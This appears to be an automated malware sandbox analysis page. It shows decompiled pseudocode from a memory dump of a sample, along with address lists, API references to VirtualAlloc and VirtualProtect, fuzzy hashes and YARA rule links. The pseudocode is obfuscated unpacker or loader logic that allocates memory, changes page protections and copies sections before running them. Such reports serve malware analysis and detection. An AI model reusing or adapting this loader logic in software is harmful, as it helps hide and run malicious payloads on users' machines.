					_v16 = _v16 & 0x00000000;
					 *_t1132 =  *_t1132 + _t1060;
					_t446 = _t824 + 0x41c4b9; // 0x41c4b9
					_v12 = 0;
					 *_t1132 =  *_t1132 + _t446;
					_t449 = _t824 + 0x41c298; // 0x41c298
					 *_t1132 =  *_t1132 ^ _t1097;
					 *_t1132 = _t449;
					_t781 =  *((intOrPtr*)(_t824 + 0x41f068))();
					_v16 = _t987;
					 *(_t824 + 0x41c405) = 0 ^ _t781;
					_t947 = _v16;
					VirtualProtect(_t1097, _v12, _v16, ??);
					_t455 = _t824 + 0x41c772; // 0x41c772
					_v20 = 0;
					 *_t1132 =  *_t1132 ^ _t455;
					_t458 = _t824 + 0x41cb5c; // 0x41cb5c
					 *_t1132 =  *_t1132 ^ _t824;
					 *_t1132 =  *_t1132 | _t458;
					_t785 =  *((intOrPtr*)(_t824 + 0x41f068))(_t824, _v20);
					_v12 = _t1060;
					 *(_t824 + 0x41c6c0) =  *(_t824 + 0x41c6c0) & 0x00000000;
					 *(_t824 + 0x41c6c0) =  *(_t824 + 0x41c6c0) | _t1060 - _v12 ^ _t785;
					_t1023 = _v12;
				}
				_pop( *_t467);
				_v16 = 0;
				 *_t1132 =  *_t1132 + _t824 + 0x41d305;
				 *_t1132 =  *_t1132 ^ _t879;
				 *_t1132 =  *_t1132 | _t824 + 0x0041cf53;
				_t701 =  *((intOrPtr*)(_t824 + 0x41f068))(_t879, _v16);
				_v16 = _t947;
				 *(_t824 + 0x41c775) = 0 ^ _t701;
				_t950 = _v16;
				_t1026 = (_t1023 & 0x00000000 | _v12) + 0xf8;
				_t827 = _t824;
				_v20 = 0;
				 *_t1132 =  *_t1132 ^ _t827 + 0x0041d2fb;
				_v16 = _v16 & 0x00000000;
				 *_t1132 =  *_t1132 + _t827 + 0x41c2ea;
				_push( *((intOrPtr*)(_t827 + 0x41f068))(_v16, _v20));
				_pop( *_t485);
				_push(_v12);
				_pop( *_t487);
				do {
					 *_t1132 = _t1026;
					 *_t1132 =  *_t1132 ^ _t879;
					 *_t1132 =  *_t1132 ^ _t827 + 0x0041c966;
					_t706 =  *((intOrPtr*)(_t827 + 0x41f060))(_t879, _v16);
					_v20 = _v20 & 0x00000000;
					 *_t1132 =  *_t1132 | _t706;
					 *_t1132 = _t827 + 0x41ca40;
					_t708 =  *((intOrPtr*)(_t827 + 0x41f060))(_v20, _v20);
					_t1133 = _t1132 - 0xfffffffc;
					 *_t497 = _t708;
					_v12 = _v12 + (_t879 & 0x00000000) +  *_t1132;
					_push(_v12);
					_pop(_t709);
					_t1028 = _t1026;
					_v16 = _t950;
					_t882 = 0 ^  *(_t827 + 0x41d332);
					_t953 = _v16;
					if(_t882 > _t709) {
						 *_t1133 =  *_t1133 ^ _t1112;
						 *_t1133 = _t827 + 0x41c966;
						 *_t1133 =  *_t1133 & 0x00000000;
						 *_t1133 =  *_t1133 | _t827 + 0x0041ca40;
						_t709 =  *((intOrPtr*)(_t827 + 0x41f064))(_t882, _t1112);
					}
					 *_t1133 = _t882;
					 *((intOrPtr*)(_t827 + 0x41c6bc)) = _t709;
					_v20 = _t1028;
					_t1031 = _v20;
					_v20 = _v20 & 0x00000000;
					 *_t1133 =  *_t1133 + _t827 + 0x41c5f7;
					_t711 =  *((intOrPtr*)(_t827 + 0x41f060))(_v20, 0);
					 *_t1133 = _t711;
					_v16 = _v16 & 0x00000000;
					 *_t1133 =  *_t1133 | _t827 + 0x0041c637;
					_t713 =  *((intOrPtr*)(_t827 + 0x41f060))(_v16, _v12);
					_t1134 =  &(_t1133[1]);
					_v20 = _a4;
					_push( *_t1133 + _t713);
					_t1085 = _v20;
					_pop(_t714);
					_push( *((intOrPtr*)(_t827 + 0x41cece)));
					_pop( *_t525);
					_push(_v20);
					_pop(_t888);
					if(_t888 > _t714) {
						 *_t1134 =  *_t1134 - _t888;
						 *_t1134 =  *_t1134 ^ _t827 + 0x0041c5f7;
						_v20 = _v20 & 0x00000000;
						 *_t1134 =  *_t1134 | _t827 + 0x0041c637;
						_t714 =  *((intOrPtr*)(_t827 + 0x41f064))(_v20, _t888);
					}
					_v12 = _t1085;
					 *(_t827 + 0x41c10a) =  *(_t827 + 0x41c10a) & 0x00000000;
					 *(_t827 + 0x41c10a) =  *(_t827 + 0x41c10a) | _t1085 ^ _v12 | _t714;
					 *_t1134 = _t1112;
					_t889 = 0 ^  *(_t1031 + 0x10);
					_t1112 = 0;
					 *_t1134 =  *_t1134 & 0x00000000;
					 *_t1134 =  *_t1134 ^ _t889;
					_v20 = 0;
					 *_t1134 =  *_t1134 ^ _t827 + 0x0041cee6;
					 *_t1134 =  *_t1134 ^ _t1112;
					 *_t1134 =  *_t1134 + _t827 + 0x41c9b9;
					_t717 =  *((intOrPtr*)(_t827 + 0x41f068))(_v20, _t714);
					_v20 = _t1031;
					 *(_t827 + 0x41cb03) =  *(_t827 + 0x41cb03) & 0x00000000;
					 *(_t827 + 0x41cb03) =  *(_t827 + 0x41cb03) ^ (_t1031 & 0x00000000 | _t717);
					_t1034 = _v20;
					 *_t552 = _t1112;
					_push(_v12);
					_pop( *_t555);
					_v16 = _v16 +  *((intOrPtr*)(_t1034 + 0x14));
					_push(_v16);
					_pop(_t1089);
					_t955 = _t953;
					_v16 = 0;
					 *_t1134 =  *_t1134 ^ _t889 & 0x00000000 ^ _v20;
					 *_t1134 =  *_t1134 & 0x00000000;
					 *_t1134 =  *_t1134 + _t827 + 0x41c452;
					_v12 = 0;
					 *_t1134 =  *_t1134 ^ _t827 + 0x0041c156;
					_t720 =  *((intOrPtr*)(_t827 + 0x41f068))(_v12, _t955, _v16);
					 *_t1134 = _t955;
					 *((intOrPtr*)(_t827 + 0x41c66c)) = _t720;
					_t958 = 0;
					_pop( *_t567);
					_t893 = _v16;
					_t1035 =  *(_t1034 + 0xc);
					 *_t1134 =  *_t1134 & 0x00000000;
					 *_t1134 =  *_t1134 + _t893;
					 *_t1134 =  *_t1134 - _t1112;
					 *_t1134 = _t827 + 0x41c5a4;
					_t722 =  *((intOrPtr*)(_t827 + 0x41f060))(_t1112, _t1089);
					 *_t1134 =  *_t1134 - _t1112;
					 *_t1134 =  *_t1134 ^ _t722;
					 *_t1134 =  *_t1134 ^ _t1035;
					 *_t1134 =  *_t1134 + _t827 + 0x41ce5b;
					_t724 =  *((intOrPtr*)(_t827 + 0x41f060))(_t1112);
					 *_t574 = _t1035;
					 *_t1134 =  *_t1134 + _t827;
					_t828 = _t724;
					_t827 = 0;
					_push( *((intOrPtr*)(_t827 + 0x41d348)));
					_pop( *_t577);
					_push(_v12);
					_pop(_t896);
					if(_t896 > _t828 + (_t893 & 0x00000000 ^ _v20)) {
						_t579 = _t827 + 0x41c5a4; // 0x41c5a4
						 *_t1134 =  *_t1134 ^ _t958;
						 *_t1134 =  *_t1134 | _t579;
						_t580 = _t827 + 0x41ce5b; // 0x41ce5b
						 *_t1134 =  *_t1134 - _t896;
						 *_t1134 =  *_t1134 | _t580;
						_t733 =  *((intOrPtr*)(_t827 + 0x41f064))(_t896, _t958);
						_v20 = _t1089;
						 *(_t827 + 0x41c50f) = 0 ^ _t733;
						_t1089 = _v20;
					}
					_v12 = _t958;
					_t1036 =  *(_t827 + 0x41c166) + _t1035;
					_t726 = memcpy(_t1036, _t1089, (_t896 & 0x00000000) +  *_t1134);
					_t1136 =  &(_t1134[4]);
					_t879 = 0;
					_t1132 = _t1136 - 0xfffffffc;
					_push(_v12);
					_t1026 =  *_t1136 + 0x28;
					_pop(_t950);
					_t588 =  &_v8;
					 *_t588 = _v8 - 1;
				} while ( *_t588 != 0);
				_pop( *_t590);
				_t1041 = _v16;
				_push(_t1112);
				 *_t594 = _t726 & 0x00000000 ^ _t1112 -  *_t1132 ^  *(_t1041 + 0x28);
				_v20 = _v20 +  *(_t827 + 0x41c166);
				_push(_v20);
				_pop(_t729);
				_t1043 = _t1041;
				 *_t1132 = _t950;
				 *((intOrPtr*)(_t827 + 0x41d140)) = _t729;
				_t966 = 0;
				_v12 = 0;
				_t1091 = _t1089 & 0x00000000 | 0 ^  *(_t827 + 0x41c166);
				_t901 = _v12;
				if(_t1091 > 0) {
					 *_t1132 =  *_t1132 & 0x00000000;
					 *_t1132 =  *_t1132 + _t1091;
					_t730 = E031E4E1A(_t827, _t901, _t966, _t1043, _t1091, _t827);
					 *_t1132 = _t1091;
					_t729 = E031E2FAF(_t730, _t827, _t901, _t966, _t1043, _t1091, _v12);
				}
				_pop( *_t603);
				return _t729;
			}

0x031e5f16
0x031e5f16
0x031e5f16
0x031e5f17
0x031e5f1b
0x031e5f1e
0x031e5f20
0x031e5f23
0x031e5f24
0x031e5f28
0x031e5f2b
0x031e5f2c
0x031e5f30
0x031e5f39
0x031e5f3a
0x031e5f3d
0x031e5f46
0x031e5f4a
0x031e5f4d
0x031e5f56
0x031e5f57
0x031e5f5a
0x031e5f5d
0x031e5f63
0x031e5f66
0x031e5f6e
0x031e5f71
0x031e5f72
0x031e5f75
0x031e5f78
0x031e5f7b
0x031e5f84
0x031e5f85
0x031e5f88
0x031e5f8b
0x031e5f91
0x031e5f94
0x031e5f9d
0x031e5f9e
0x031e5fa2
0x031e5fa5
0x031e5fab
0x031e5fb1
0x031e5fb5
0x031e5fb8
0x031e5fbb
0x031e5fbe
0x031e5fc0
0x031e5fcb
0x031e5fd2
0x031e5fda
0x031e5fdd
0x031e5fe6
0x031e5fe7
0x031e5fea
0x031e5ff3
0x031e5ff4
0x031e5ff7
0x031e5ffa
0x031e5ffa
0x031e6002
0x031e6005
0x031e6009
0x031e600d
0x031e6017
0x031e601b
0x031e6025
0x031e6029
0x031e602c
0x031e6032
0x031e6039
0x031e604b
0x031e6054
0x031e605e
0x031e6067
0x031e6068
0x031e606b
0x031e606e
0x031e6074
0x031e607b
0x031e607e
0x031e6088
0x031e608b
0x031e6094
0x031e6095
0x031e6098
0x031e609b
0x031e60a1
0x031e60a7
0x031e60ae
0x031e60b7
0x031e60be
0x031e60c1
0x031e60c8
0x031e60cb
0x031e60d4
0x031e60db
0x031e60de
0x031e60e4
0x031e60e7
0x031e60ee
0x031e60f1
0x031e60f4
0x031e60f7
0x031e60f8
0x031e6106
0x031e6108
0x031e610b
0x031e6114
0x031e6118
0x031e6124
0x031e6127
0x031e612d
0x031e6133
0x031e613a
0x031e6140
0x031e6147
0x031e614a
0x031e614f
0x031e6156
0x031e615c
0x031e615f
0x031e6162
0x031e616b
0x031e616e
0x031e6172
0x031e6176
0x031e617a
0x031e617e
0x031e6188
0x031e618c
0x031e6195
0x031e619c
0x031e619f
0x031e61ab
0x031e61b2
0x031e61be
0x031e61c1
0x031e61c8
0x031e61d1
0x031e61db
0x031e61de
0x031e61e5
0x031e61e8
0x031e61f1
0x031e61fb
0x031e61fe
0x031e6206
0x031e6209
0x031e6210
0x031e6213
0x031e6216
0x031e6219
0x031e621a
0x031e621b
0x031e6231
0x031e6239
0x031e6240
0x031e6249
0x031e6253
0x031e6256
0x031e6256
0x031e625e
0x031e6265
0x031e626b
0x031e626c
0x031e6276
0x031e6279
0x031e6283
0x031e628c
0x031e6296
0x031e6299
0x031e629f
0x031e62a9
0x031e62b5
0x031e62b8
0x031e62c3
0x031e62c6
0x031e62cd
0x031e62ce
0x031e62d1
0x031e62d2
0x031e62dd
0x031e62df
0x031e62e4
0x031e62ec
0x031e62f6
0x031e6300
0x031e6303
0x031e6306
0x031e630c
0x031e6314
0x031e631b
0x031e6321
0x031e6321
0x031e632a
0x031e632d
0x031e6335
0x031e6338
0x031e633b
0x031e633e
0x031e633f
0x031e6343
0x031e634d
0x031e6351
0x031e635d
0x031e6360
0x031e6368
0x031e636f
0x031e6375
0x031e637c
0x031e637f
0x031e6385
0x031e6389
0x031e638c
0x031e6396
0x031e6399
0x031e63a2
0x031e63a9
0x031e63ac
0x031e63b4
0x031e63bb
0x031e63c1
0x031e63c7
0x031e63ca
0x031e63d1
0x031e63d3
0x031e63dc
0x031e63e6
0x031e63e9
0x031e63f0
0x031e63f3
0x031e63fd
0x031e6400
0x031e6403
0x031e6412
0x031e6417
0x031e641b
0x031e641e
0x031e6420
0x031e6421
0x031e642c
0x031e642e
0x031e6433
0x031e643c
0x031e643f
0x031e6448
0x031e6452
0x031e6455
0x031e6455
0x031e6461
0x031e6468
0x031e646e
0x031e6474
0x031e6477
0x031e6483
0x031e6486
0x031e648c
0x031e6494
0x031e649b
0x031e64a1
0x031e64a6
0x031e64b2
0x031e64b6
0x031e64b9
0x031e64c1
0x031e64c5
0x031e64c8
0x031e64d4
0x031e64db
0x031e64e1
0x031e64e3
0x031e64e6
0x031e64f2
0x031e64f5
0x031e64fe
0x031e650a
0x031e650d
0x031e6515
0x031e6518
0x031e651f
0x031e6522
0x031e6525
0x031e6528
0x031e6529
0x031e6537
0x031e6539
0x031e653c
0x031e653e
0x031e6544
0x031e654e
0x031e6551
0x031e6558
0x031e655c
0x031e655f
0x031e655f
0x031e6567
0x031e656e
0x031e6574
0x031e6575
0x031e6586
0x031e6590
0x031e6593
0x031e659a
0x031e659e
0x031e65a1
0x031e65a9
0x031e65b0
0x031e65b6
0x031e65b7
0x031e65ca
0x031e65cc
0x031e65ce
0x031e65d2
0x031e65d5
0x031e65db
0x031e65e5
0x031e65e8
0x031e65ee
0x031e65f6
0x031e65fd
0x031e6603
0x031e660b
0x031e6610
0x031e6618
0x031e661b
0x031e6622
0x031e6625
0x031e662b
0x031e6632
0x031e6635
0x031e663c
0x031e6640
0x031e6643
0x031e664a
0x031e664e
0x031e6651
0x031e6659
0x031e665f
0x031e6666
0x031e6667
0x031e666a
0x031e666b
0x031e6671
0x031e6674
0x031e6677
0x031e667a
0x031e6685
0x031e668f
0x031e6693
0x031e6696
0x031e669d
0x031e66a0
0x031e66a3
0x031e66a3
0x031e66a9
0x031e66ac
0x031e66af
0x031e66c2
0x031e66c6
0x031e66c9
0x031e66d2
0x031e66dc
0x031e66e8
0x031e66eb
0x031e66f1
0x031e66f8
0x031e66fe
0x031e6703
0x031e6706
0x031e670b
0x031e670e
0x031e6713
0x031e671a
0x031e671d
0x031e6720
0x031e6727
0x031e6730
0x031e673a
0x031e673d
0x031e6743
0x031e674d
0x031e6757
0x031e675b
0x031e675e
0x031e676d
0x031e6774
0x031e6777
0x031e677a
0x031e677d
0x031e677e
0x031e677f
0x031e6781
0x031e678c
0x031e6791
0x031e679a
0x031e679d
0x031e67a7
0x031e67ab
0x031e67ae
0x031e67b4
0x031e67b6
0x031e67bd
0x031e67c3
0x031e67c4
0x031e67c7
0x031e67cc
0x031e67cf
0x031e67d2
0x031e67d2
0x031e67d3
0x031e67dd
0x031e67e0
0x031e67e7
0x031e67f1
0x031e67f4
0x031e67f7
0x031e67fe
0x031e6801
0x031e680b
0x031e680f
0x031e6812
0x031e681d
0x031e6824
0x031e6827
0x031e682a
0x031e682d
0x031e682e
0x031e682f
0x031e6841
0x031e684c
0x031e6858
0x031e685b
0x031e6861
0x031e6868
0x031e686e
0x031e6873
0x031e6876
0x031e687e
0x031e6881
0x031e6881
0x031e6889
0x031e688d
0x031e6897
0x031e689b
0x031e68a4
0x031e68ae
0x031e68b1
0x031e68bd
0x031e68c4
0x031e68cd
0x031e68d0
0x031e68d3
0x031e68e0
0x031e68e4
0x031e68e7
0x031e68f0
0x031e68f7
0x031e6900
0x031e6901
0x031e6904
0x031e6907
0x031e6913
0x031e6916
0x031e6919
0x031e6926
0x031e692f
0x031e6939
0x031e693c
0x031e6945
0x031e6951
0x031e6954
0x031e6960
0x031e6968
0x031e696c
0x031e6971
0x031e6972
0x031e697d
0x031e697f
0x031e6984
0x031e6986
0x031e698d
0x031e6990
0x031e6993
0x031e699a
0x031e699d
0x031e69a0
0x031e69a6
0x031e69ae
0x031e69b5
0x031e69bb
0x031e69c0
0x031e69c3
0x031e69c6
0x031e69cd
0x031e69d0
0x031e69d6
0x031e69d9
0x031e69e0
0x031e69e4
0x031e69e7
0x031e69f0
0x031e69f3
0x031e69fb
0x031e6a02
0x031e6a08
0x031e6a0b
0x031e6a0e
0x031e6a13
0x031e6a1a
0x031e6a1e
0x031e6a24
0x031e6a27
0x031e6a30
0x031e6a33
0x031e6a3f
0x031e6a46
0x031e6a4f
0x031e6a52
0x031e6a56
0x031e6a5d
0x031e6a64
0x031e6a67
0x031e6a6e
0x031e6a72
0x031e6a75
0x031e6a7c
0x031e6a80
0x031e6a83
0x031e6a8a
0x031e6a8d
0x031e6a90
0x031e6a9f
0x031e6aa6
0x031e6aa9
0x031e6aac
0x031e6aaf
0x031e6ab0
0x031e6ab3
0x031e6abe
0x031e6ac0
0x031e6ac3
0x031e6ac5
0x031e6acc
0x031e6acf
0x031e6ad2
0x031e6ad9
0x031e6adc
0x031e6adf
0x031e6ae5
0x031e6aec
0x031e6af2
0x031e6af2
0x031e6af5
0x031e6af8
0x031e6afc
0x031e6aff
0x031e6b02
0x031e6b09
0x031e6b0c
0x031e6b0f
0x031e6b17
0x031e6b1e
0x031e6b24
0x031e6b25
0x031e6b2c
0x031e6b2f
0x031e6b35
0x031e6b3f
0x031e6b42
0x031e6b49
0x031e6b4c
0x031e6b4f
0x031e6b55
0x031e6b5c
0x031e6b62
0x031e6b65
0x031e6b6b
0x031e6b71
0x031e6b7b
0x031e6b7e
0x031e6b85
0x031e6b88
0x031e6b8b
0x031e6b91
0x031e6b99
0x031e6ba0
0x031e6ba6
0x031e6ba6
0x031e6baf
0x031e6bbb
0x031e6bc5
0x031e6bcf
0x031e6bd2
0x031e6bd5
0x031e6bdb
0x031e6be2
0x031e6be8
0x031e6bf4
0x031e6bf6
0x031e6bfd
0x031e6c07
0x031e6c10
0x031e6c17
0x031e6c20
0x031e6c21
0x031e6c24
0x031e6c27
0x031e6c2d
0x031e6c30
0x031e6c3a
0x031e6c3d
0x031e6c40
0x031e6c46
0x031e6c4d
0x031e6c59
0x031e6c5c
0x031e6c6b
0x031e6c72
0x031e6c75
0x031e6c78
0x031e6c7b
0x031e6c7c
0x031e6c7d
0x031e6c88
0x031e6c8a
0x031e6c8f
0x031e6c98
0x031e6c9b
0x031e6ca5
0x031e6ca9
0x031e6cac
0x031e6cac
0x031e6cb4
0x031e6cbb
0x031e6cc2
0x031e6ccc
0x031e6cd5
0x031e6cdc
0x031e6cdf
0x031e6ce8
0x031e6cf1
0x031e6cf8
0x031e6cfb
0x031e6d06
0x031e6d09
0x031e6d10
0x031e6d11
0x031e6d14
0x031e6d15
0x031e6d1b
0x031e6d1e
0x031e6d21
0x031e6d24
0x031e6d2d
0x031e6d30
0x031e6d39
0x031e6d40
0x031e6d43
0x031e6d43
0x031e6d49
0x031e6d51
0x031e6d58
0x031e6d63
0x031e6d6b
0x031e6d6d
0x031e6d6f
0x031e6d73
0x031e6d7c
0x031e6d86
0x031e6d90
0x031e6d93
0x031e6d96
0x031e6d9c
0x031e6da4
0x031e6dab
0x031e6db1
0x031e6dba
0x031e6dc4
0x031e6dc5
0x031e6dc8
0x031e6dcb
0x031e6dce
0x031e6dcf
0x031e6dd0
0x031e6dda
0x031e6de4
0x031e6de8
0x031e6df1
0x031e6dfb
0x031e6dfe
0x031e6e06
0x031e6e0d
0x031e6e13
0x031e6e16
0x031e6e19
0x031e6e1c
0x031e6e20
0x031e6e24
0x031e6e2e
0x031e6e31
0x031e6e34
0x031e6e3b
0x031e6e3e
0x031e6e48
0x031e6e4b
0x031e6e4e
0x031e6e5a
0x031e6e62
0x031e6e66
0x031e6e6b
0x031e6e6c
0x031e6e72
0x031e6e75
0x031e6e78
0x031e6e7b
0x031e6e7d
0x031e6e84
0x031e6e87
0x031e6e8a
0x031e6e91
0x031e6e94
0x031e6e97
0x031e6e9d
0x031e6ea4
0x031e6eaa
0x031e6eaa
0x031e6eb9
0x031e6ec8
0x031e6ec9
0x031e6ec9
0x031e6ec9
0x031e6ed4
0x031e6ed7
0x031e6ee0
0x031e6ee2
0x031e6ee3
0x031e6ee3
0x031e6ee3
0x031e6eec
0x031e6eef
0x031e6ef2
0x031e6f07
0x031e6f0a
0x031e6f0d
0x031e6f10
0x031e6f11
0x031e6f14
0x031e6f1b
0x031e6f21
0x031e6f22
0x031e6f31
0x031e6f33
0x031e6f39
0x031e6f3c
0x031e6f40
0x031e6f43
0x031e6f4b
0x031e6f4e
0x031e6f4e
0x031e6f61
0x031e6f68

APIs

VirtualProtect.KERNELBASE ref: 031E6B65

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
Instruction ID: 49c89f14615f8cf109d0de89cd8094d168c09d068c7c5d3aeec911a8e9f2437b
Opcode Fuzzy Hash: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
Instruction Fuzzy Hash: 4FC21472844608EFEB049FA0C8C57EEBBF5FF48320F0989ADD899AA145D7345264CF59

Uniqueness

Uniqueness Score: -1.00%

Function 031E709D, Relevance: 3.1, APIs: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E031E709D(signed int __ebx, long __ecx, void* __edx, void* __edi, long __esi, void* __eflags) {
				void* _t47;
				signed int _t48;
				signed int _t49;
				void* _t51;
				void* _t52;
				void* _t54;
				void* _t55;
				signed int _t59;
				long _t60;
				void* _t62;
				void* _t65;
				void* _t67;
				signed int _t68;
				void* _t72;
				signed int _t75;
				signed int _t78;
				void* _t81;
				signed int _t82;
				long _t87;
				signed int _t89;
				long _t94;
				void* _t97;
				void* _t99;
				long _t101;
				void* _t102;

				_t87 = __esi;
				_t79 = __edi;
				_t72 = __edx;
				_t59 = __ebx;
				 *_t101 = 0xffff0000;
				_t48 = E031E2D42(_t47, __ebx, __ecx, __edx, __edi, __esi, __edi);
				 *_t101 =  *_t101 | _t59;
				_t60 = _t59;
				if( *_t101 != 0) {
					 *_t101 =  *_t101 + 4;
					 *_t101 =  *_t101 - _t94;
					 *_t101 =  *_t101 + 0x1000;
					 *_t101 =  *_t101 - _t60;
					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c22f));
					_t48 = VirtualAlloc(0, __ecx, _t60, _t94);
				}
				 *(_t94 - 8) = 0;
				_push( *(_t94 - 8));
				 *_t101 =  *_t101 ^ _t48;
				_pop( *_t6);
				 *(_t60 + 0x41c60a) = 2;
				 *_t101 = _t94;
				 *(_t60 + 0x41d10e) = _t48;
				_t97 = 0;
				if( *(_t60 + 0x41c166) > 0) {
					_t55 = _t60 + 0x41c60a;
					 *(_t97 - 4) =  *(_t97 - 4) & 0x00000000;
					 *_t101 = _t55 +  *_t101;
					 *_t101 = 0x40;
					_t87 =  *_t101;
					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c627));
					 *_t101 =  *(_t60 + 0x41c166);
					VirtualProtect(_t55, _t87, _t101,  *(_t97 - 4));
				}
				_push(_t72);
				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
				_t89 = _t87;
				_push(_t72);
				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41ceca));
				_t99 = _t97;
				_t49 = E031E746C(_t60, _t72, _t79, _t89);
				_push( *((intOrPtr*)(_t60 + 0x41c627)));
				_pop( *_t24);
				_push( *(_t99 - 8));
				_pop(_t62);
				 *_t101 = _t62;
				_t65 = 0;
				_t67 = 0 ^  *(_t60 + 0x41c166) | 0 ^  *(_t60 + 0x41c166);
				_t81 = _t67;
				_t68 = _t65;
				if(_t67 != 0) {
					 *(_t99 - 8) = 0;
					 *_t101 =  *_t101 ^ _t81;
					_t49 = E031E2A69(_t49, _t60, _t68, _t72, _t81, _t89,  *(_t99 - 8));
				}
				_t75 = _t72;
				_t51 = memset(_t81, _t49 ^ _t49, _t68 << 0);
				_t102 = _t101 + 0xc;
				_t82 = _t81 + _t68;
				if( *((intOrPtr*)(_t60 + 0x41c3f9)) != _t60) {
					_push(0);
					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
					_t82 = _t82; // executed
					_t52 = E031E5F16(_t51, _t60, 0, _t75, _t89); // executed
					_push(_t52);
					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
					_t54 = _t52;
					_t51 = E031E8F3B(_t54, _t60, 0, _t75, _t82, _t89);
				}
				 *(_t99 - 4) = _t82;
				 *(_t102 + 0x14) = _t75 & 0x00000000 | _t82 ^  *(_t99 - 4) |  *(_t60 + 0x41d140);
				 *_t41 =  *(_t60 + 0x41d140);
				_t78 =  *(_t99 - 8);
				_push(_t89);
				 *(_t99 + 4) =  *(_t99 + 4) & 0x00000000;
				 *(_t99 + 4) =  *(_t99 + 4) ^ _t89 & 0x00000000 ^ _t78;
				asm("popad");
				return _t51;
			}

0x031e709d
0x031e709d
0x031e709d
0x031e709d
0x031e709e
0x031e70a5
0x031e70ab
0x031e70ae
0x031e70af
0x031e70b2
0x031e70b6
0x031e70ba
0x031e70c1
0x031e70cb
0x031e70d0
0x031e70d0
0x031e70d6
0x031e70dd
0x031e70e0
0x031e70e3
0x031e70e9
0x031e70f5
0x031e70fc
0x031e7102
0x031e710a
0x031e710c
0x031e7112
0x031e7119
0x031e711d
0x031e712b
0x031e712b
0x031e7135
0x031e7138
0x031e7138
0x031e713e
0x031e7146
0x031e714a
0x031e714b
0x031e7153
0x031e7157
0x031e7158
0x031e715d
0x031e7163
0x031e7166
0x031e7169
0x031e716c
0x031e7179
0x031e717d
0x031e717f
0x031e7181
0x031e7182
0x031e7184
0x031e718e
0x031e7191
0x031e7191
0x031e719d
0x031e719e
0x031e719e
0x031e719e
0x031e71a6
0x031e71a8
0x031e71b0
0x031e71b4
0x031e71b5
0x031e71ba
0x031e71c2
0x031e71c6
0x031e71c7
0x031e71c7
0x031e71cc
0x031e71e0
0x031e71ea
0x031e71f0
0x031e71f1
0x031e71f7
0x031e71fb
0x031e71ff
0x031e7201

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 031E70D0
VirtualProtect.KERNELBASE(?,?,?,?,00000000), ref: 031E7138

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
Instruction ID: c6c75a0a2a4dd3586fcb2d3932d519cdc0373187f34f50cf5518616edfe0bbc6
Opcode Fuzzy Hash: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
Instruction Fuzzy Hash: F7418076904704EFEB04DF54C885BAEBBF5EF88310F09845DEC88AB245C7715950CB69

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 031E1B1E, Relevance: 1.4, Strings: 1, Instructions: 109
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E031E1B1E(void* __eax, void* __ebx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t58;
				signed int _t60;
				void* _t77;
				void* _t89;
				void* _t90;
				signed int _t91;
				void* _t95;
				signed int _t96;
				signed int _t97;
				signed int _t101;
				signed int _t105;
				signed int _t106;

				_t89 = __ebx;
				_t58 = E031E2467(__eax, __ebx,  *((intOrPtr*)(__ebx + 0x41c395)),  *((intOrPtr*)(__ebx + 0x41c290)),  *((intOrPtr*)(__ebx + 0x41c3b1)));
				if(_t58 < 0xda63) {
					_t58 = (_t58 & 0x00000000) - 0xffffffff;
				} else {
					_a8 = _a8 & 0xffffffff;
					_t105 = _t105 ^  *(__ebx + 0x41c8a6);
				}
				_t106 = _t105 | _t101;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) - 1;
				_v12 = _v12 - 1;
				_t60 = _t58 & 0x00000000;
				_t96 = _t95 - _t60;
				if(_a4 < 0x7e4d) {
					_v16 = 0x581;
					 *(_t89 + 0x41c8a6) = 0xffffffff;
					_t97 = 1;
				} else {
					_t97 = _t96 ^ 0x00000034;
					_a4 = _a4 ^ 0xffffffff;
				}
				_t91 = _t90 - 0xffffffff;
				if(_t60 - 1 >= 0x60f9) {
					 *(_t89 + 0x41c8a6) = 1;
					_v16 = _v16 + 0xfffffe47;
				} else {
					_t106 =  *(_t89 + 0x41c8a6);
				}
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + _t101;
				_v8 = _v8 | _t101;
				_v8 = _v8 - 1;
				_v12 = _v12 ^ 0x00000000;
				 *(_t89 + 0x41c8a6) = 0xfffff898;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) - 1;
				_v16 = 1;
				_a4 = (_t106 + 0x00000001 - 0x00000001 & 0x00000000) + 1;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + (_t91 ^ _t97 & 0x00000000) + 1 + _v12;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + 1;
				_v8 = 1;
				_t77 = E031E9159(_v16, _t89, (_t106 + 0x00000001 - 0x00000001 & 0x00000000) + 1);
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + 1;
				_a4 = _a4 + (_t77 + 0x00000001 - 0x00000001 ^ 0x310) + 0xffffffff;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) | 0x00000316;
				return 0xfffffffffffff815;
			}

0x031e1b1e
0x031e1b3b
0x031e1b45
0x031e1b58
0x031e1b47
0x031e1b47
0x031e1b4b
0x031e1b4b
0x031e1b64
0x031e1b66
